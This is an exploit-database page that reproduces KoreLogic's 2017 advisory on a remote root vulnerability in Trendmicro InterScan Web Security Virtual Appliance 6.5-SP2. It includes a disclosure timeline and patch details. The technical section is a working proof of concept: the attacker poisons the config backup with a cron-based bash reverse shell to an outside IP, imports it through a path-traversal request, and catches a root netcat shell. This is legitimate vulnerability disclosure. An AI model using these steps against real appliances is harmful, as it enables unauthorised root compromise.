Exploitalert - Database of Exploits

Trendmicro InterScan 6.5-SP2_Build_Linux_1548 Remote Root

CVE	Category	Price	Severity
CVE-2006-3459	CWE-22	$10,000	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2017-02-18

CPE
cpe:cpe:/a:trendmicro:interscan:6.5-sp2:build_linux_1548

CVSS	EPSS	EPSSP
CVSS:4.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0	0

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Adjacent	AV	The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017020170

Trendmicro InterScan 6.5-SP2_Build_Linux_1548 Remote RootKL-001-2017-003 : Trendmicro InterScan Remote Root Access Vulnerability Title: Trendmicro InterScan Remote Root Access Vulnerability Advisory ID: KL-001-2017-003 Publication Date: 2017.02.15 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-003.txt 1. Vulnerability Details Affected Vendor: Trendmicro Affected Product: InterScan Web Security Virtual Appliance Affected Version: OS Version 3.5.1321.el6.x86_64; Application Version 6.5-SP2_Build_Linux_1548 Platform: Embedded Linux CWE Classification: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-434: Unrestricted Upload of File with Dangerous Type Impact: Root Access Attack vector: HTTP 2. Vulnerability Description Any authenticated user can overwrite specific files on the local system, which can be exploited to result in root access. 3. Technical Description An attacker can use a HTTP POST request to instruct the management application to backup the current appliance configuration into a tarball. A valid session is required. POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=download HTTP/1.1 Host: 1.3.3.7:8443 [snip] HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Disposition: attachment; filename="IWSVA6.5-SP2_Config.tar" [snip] Extracting the tar file gives you several files, detailed below: $ tar xf IWSVA6.5-SP2_Config.tar x Configurations/ x Configurations/icaps.pkey x Configurations/ClientConnectionQuotaWhiteList.ini x Configurations/IWSSPINcieScan.dsc [snip] $ cd Configurations/ $ ls -la shadow passwd crontab.iscan crontab.root S55sshd S99lanbypass prd.passwd iscan root -rwxr-xr-x@ 1 level staff 4683 25 oct 05:32 S55sshd -rwxr-xr-x@ 1 level staff 13553 25 oct 05:32 S99lanbypass -rw-r-----@ 1 level staff 1738 25 oct 05:32 crontab.iscan -rw-r-----@ 1 level staff 416 25 oct 05:32 crontab.root -rw-r--r--@ 1 level staff 693 25 oct 05:32 passwd -rw-r-----@ 1 level staff 44 25 oct 05:32 prd.passwd ---------- 1 level staff 427 25 oct 05:32 shadow -rw-------@ 1 level staff 1796 25 oct 05:50 iscan -rw-------@ 1 level staff 467 25 oct 05:32 root The file content presents several attack scenarios: Obtain hashes for all accounts Poison shadow file with known hash Poison cron with a bash shell Poison scripts executed at boot Directory traversal with web shell The file, root, contains cron entries which are ran by the root user at boot. A bash reverse shell was appended to this file and a new tar file containing the poisoned file was created. $ head -n 1 root 0-59/2 * * * * /usr/iwss/bin/systemupdate > /dev/null 2>&1 $ echo */2 * * * * /bin/bash -i >& /dev/tcp/1.3.3.8/8086 0>&1 >> root $ cd ..; tar cf hacked.tar Configurations/ ProductInfo.xml POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=import&packageName=/usr/iwss/AdminUI/tomcat/import/hacked.tar&type=1 HTTP/1.1 Host: 1.3.3.7:8443 [snip] HTTP/1.1 302 Found Server: Apache-Coyote/1.1 [snip] This resulted in a netcat shell as the root user. $ nc -lv 8086 [root@iwsva65sp2 ~]# id;uname -a uid=0(root) gid=0(root) groups=0(root) Linux iwsva65sp2 2.6.32-504.OpenVA.3.5.1321.el6.x86_64 #1 SMP Tue Dec 23 15:08:35 CST 2014 x86_64 x86_64 x86_64 GNU/Linux [root@iwsva65sp2 ~]# 4. Mitigation and Remediation Recommendation The vendor has issued a patch for this vulnerability in Version 6.5 CP 1737. Security advisory and link to the patched version available at: https://success.trendmicro.com/solution/1116672 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2016.12.12 - KoreLogic sends vulnerability report and PoC to Trendmicro. 2016.12.15 - Trendmicro acknowledges receipt of report. 2017.01.11 - Trendmicro informs KoreLogic that the patch to this and other KoreLogic reported issues will likely be available after the 45 business day deadline (2017.02.16). 2017.02.06 - Trendmicro informs KoreLogic that the patched version will be available by 2017.02.14. 2017.02.14 - Trendmicro security advisory released. 2017.02.15 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description. The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

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